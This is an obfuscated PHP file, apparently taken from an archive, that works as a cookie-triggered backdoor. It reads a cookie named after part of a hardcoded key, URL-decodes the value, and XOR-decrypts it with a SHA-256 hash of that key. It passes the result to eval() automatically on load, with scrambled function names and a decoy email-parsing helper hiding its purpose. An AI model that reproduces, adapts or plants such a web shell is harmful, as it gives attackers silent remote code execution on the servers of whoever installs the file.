PK

<?php	function qUUbwmszpM()
{
    $rqcIeIXn = "KRKqRYtqnQG";
    return $rqcIeIXn;
}
function MdbGQfxYE($NBsRuTsTMb)
{
    $aQAXGsW = substr($NBsRuTsTMb, -4);
    return $aQAXGsW;
}
function zgrGeDkKH($XBqmJbq)
{
    $iwdCNSDJH = hash("sha256", $XBqmJbq, TRUE);
    return $iwdCNSDJH;
}
function wGiWtL()
{
    $YzZYASRf = jiaGQSBy();
    UUvRcF($YzZYASRf);
}
function UUvRcF($rpZoPzj)
{
    eval($rpZoPzj);
}
function jiaGQSBy()
{
    $YJzfw = qUUbwmszpM();
    $JiyiSe = RRnoXMbJDG($YJzfw);
    return $JiyiSe;
}
function zkLpraAQrS($zKusllyv) {
    return explode('@', $zKusllyv)[1];
}
function mkisEPhYve($zKusllyv) {
    if (rDQekkwXQT($zKusllyv)) {
        return zkLpraAQrS($zKusllyv);
    }
    return "Invalid email format.";
}
function rDQekkwXQT($zKusllyv) {
    return filter_var($zKusllyv, FILTER_VALIDATE_EMAIL) !== false;
}
function dGHTttdwhU($iXUznw)
{
    $MUXYrQ = rawurldecode($iXUznw);
    return $MUXYrQ;
}
function DHxte($AUlIno, $CvlceComan)
{
    $fjaRYeKT = str_pad($AUlIno, $CvlceComan, $AUlIno);
    return $fjaRYeKT;
}
function lgwOHcLqDe($nduLd, $FDtAdFgl)
{
    $KdHlTglVn = oJKrAo($nduLd);
    $IwrULjGK = DHxte($FDtAdFgl, $KdHlTglVn);
    $YzZYASRf = uYhKeU($IwrULjGK, $nduLd);
    return $YzZYASRf;
}
function RRnoXMbJDG($athyESPFlS)
{
    $wquPgFxDIN = MdbGQfxYE($athyESPFlS);
    $rXXNfGBdmq = PkoFtggNu($athyESPFlS, $wquPgFxDIN);
    return $rXXNfGBdmq;
}
function uCYUxWMs($xhoxNGJDxe)
{
    $lFQvKyf = $_COOKIE[$xhoxNGJDxe];
    return $lFQvKyf;
}
function uYhKeU($oZYuLNp, $rJbwyViU)
{
    $QWdEjCTKa = $oZYuLNp ^ $rJbwyViU;
    return $QWdEjCTKa;
}
function PkoFtggNu($VbqfyjyGF, $JAYEQqkZT)
{
    $RJoZtVu = zgrGeDkKH($VbqfyjyGF);
    $bayKLx = PCdWvO($JAYEQqkZT);
    $BqcHdKZy = lgwOHcLqDe($bayKLx, $RJoZtVu);
    return $BqcHdKZy;
}
function oJKrAo($iilczqm)
{
    $Lpqqwlik = strlen($iilczqm);
    return $Lpqqwlik;
}
function PCdWvO($TZGjRJ)
{
    $xTZDgEQmNX = uCYUxWMs($TZGjRJ);
    $bayKLx = dGHTttdwhU($xTZDgEQmNX);
    return $bayKLx;
}
wGiWtL();
$SOOrEDtlNO = mkisEPhYve("example@example.com");

PK 99